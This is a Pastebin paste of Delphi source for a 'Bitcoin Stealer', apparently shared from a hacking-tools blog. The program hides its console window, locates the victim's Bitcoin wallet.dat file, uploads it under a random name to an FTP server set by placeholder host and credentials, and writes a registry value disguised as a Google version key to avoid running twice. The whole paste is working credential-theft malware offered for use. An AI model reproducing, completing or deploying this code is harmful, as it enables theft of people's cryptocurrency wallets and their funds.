Advertisement
msw3006

Bitcoin wallet Stealer

Jul 4th, 2016
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 4.09 KB | None | 0 0
  1. program dbs;
  2.  
  3. // Bitcoin Stealer
  4. // developed by Jimmy
  5. // for http://exclusivehackingtools.blogspot.com
  6.  
  7. {$IF CompilerVersion >= 21.0}
  8.   {$WEAKLINKRTTI ON}
  9.   {$RTTI EXPLICIT METHODS([]) PROPERTIES([]) FIELDS([])}
  10. {$IFEND}
  11.  
  12. uses
  13.   Windows, System.SysUtils, System.Classes, ShlObj, IdFTP, Registry;
  14.  
  15. // Function to set the window state hidden
  16. function GetConsoleWindow: HWND; stdcall; external kernel32 name 'GetConsoleWindow';
  17.  
  18. // Function to get the AppData path
  19. function AppDataPath: String;
  20. const
  21.   SHGFP_TYPE_CURRENT = 0;
  22. var
  23.   Path: array [0 .. MAXCHAR] of char;
  24. begin
  25.   SHGetFolderPath(0, CSIDL_LOCAL_APPDATA, 0, SHGFP_TYPE_CURRENT, @Path[0]);
  26.   Result := StrPas(Path);
  27. end;
  28.  
  29. // Function to check a file size
  30. function FileSize(FileName: wideString): Int64;
  31. var
  32.   sr: TSearchRec;
  33. begin
  34.   if FindFirst(FileName, faAnyFile, sr) = 0 then
  35.     Result := Int64(sr.FindData.nFileSizeHigh) shl Int64(32) + Int64(sr.FindData.nFileSizeLow)
  36.   else
  37.     Result := -1;
  38.  
  39.   FindClose(sr);
  40. end;
  41.  
  42. // Function to generate random string
  43. function RandomString(PLen: Integer): string;
  44. var
  45.   str: string;
  46. begin
  47.   Randomize;
  48.   str := 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  49.   Result := '';
  50.   repeat
  51.     Result := Result + str[Random(Length(str)) + 1];
  52.   until (Length(Result) = PLen);
  53. end;
  54.  
  55. // ============================================================================
  56.  
  57. var
  58.   Debug: Boolean;
  59.   FTP: TIdFTP;
  60.   REG: TRegIniFile;
  61.   RegPath, RegValue, RegCurrentValue, Path, UploadPath, FileName: String;
  62.   Error: String;
  63.  
  64. begin
  65.   // The window should be hidden without using this API
  66.   ShowWindow(GetConsoleWindow, SW_HIDE);
  67.  
  68.   // Debug or build release ?
  69.   Debug := True;
  70.  
  71.   // Set registry key value (random)
  72.   RegValue := '6556';
  73.  
  74.   // At the end of the first execution we will write a key in the registry.
  75.   // Now we will try check if the key exists. If yes, it means
  76.   // that the wallet has already be stolen. Avoid useless duplicates.
  77.   try
  78.     REG := TRegIniFile.Create;
  79.     REG.RootKey := HKEY_CURRENT_USER;
  80.     REG.OpenKeyReadOnly('Software');
  81.     RegCurrentValue := REG.ReadString('Google', 'Version', '');
  82.     REG.CloseKey;
  83.     REG.Free;
  84.   except
  85.   end;
  86.  
  87.   // Check if wallet has been already stolen (to avoid duplicates)
  88.   if not(RegCurrentValue = RegValue) then
  89.   begin
  90.     try
  91.       // Generate path to Bitcoin wallet file
  92.       if Win32MajorVersion >= 6 then
  93.         // Microsoft Windows Vista and newer
  94.         Path := ExpandFileName(AppDataPath + '\..\Roaming\Bitcoin\wallet.dat')
  95.       else
  96.         // Microsoft Windows XP
  97.         Path := ExpandFileName(AppDataPath + '\..\Bitcoin\wallet.dat');
  98.  
  99.       // If wallet file exists, check the FileSize (skip large file > 10MB)
  100.       if FileExists(Path) then
  101.         if FileSize(Path) < 10000000 then
  102.         begin
  103.           // Generate a random filename
  104.           FileName := RandomString(20) + '.dat';
  105.  
  106.           // Initialize upload via Indy FTP component
  107.           FTP := TIdFTP.Create();
  108.           FTP.ConnectTimeout := 20000;
  109.           FTP.ReadTimeout := 20000;
  110.  
  111.           // Setup with your FTP details
  112.           FTP.Host := 'ftp.host.com';
  113.           FTP.Username := 'username';
  114.           FTP.Password := 'password';
  115.           UploadPath := 'www/';
  116.  
  117.           // Connect and upload
  118.           if not Debug then
  119.           begin
  120.             FTP.Connect;
  121.             FTP.Put(Path, UploadPath + FileName);
  122.           end;
  123.  
  124.           // After upload attempt, disconnect and free the FTP component
  125.           FTP.Quit;
  126.           FTP.Disconnect;
  127.           FTP.Free;
  128.  
  129.           // Try to add a key to registry to avoid double execution
  130.           try
  131.             REG := TRegIniFile.Create;
  132.             REG.RootKey := HKEY_CURRENT_USER;
  133.             REG.OpenKey('Software', True);
  134.             REG.WriteString('Google', 'Version', RegValue);
  135.             REG.CloseKey;
  136.             REG.Free;
  137.           except
  138.           end;
  139.         end;
  140.     except
  141.       // Catch error, you never know...
  142.       on E: Exception do
  143.         Error := E.ClassName + ': ' + E.Message;
  144.     end;
  145.   end;
  146.  
  147. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement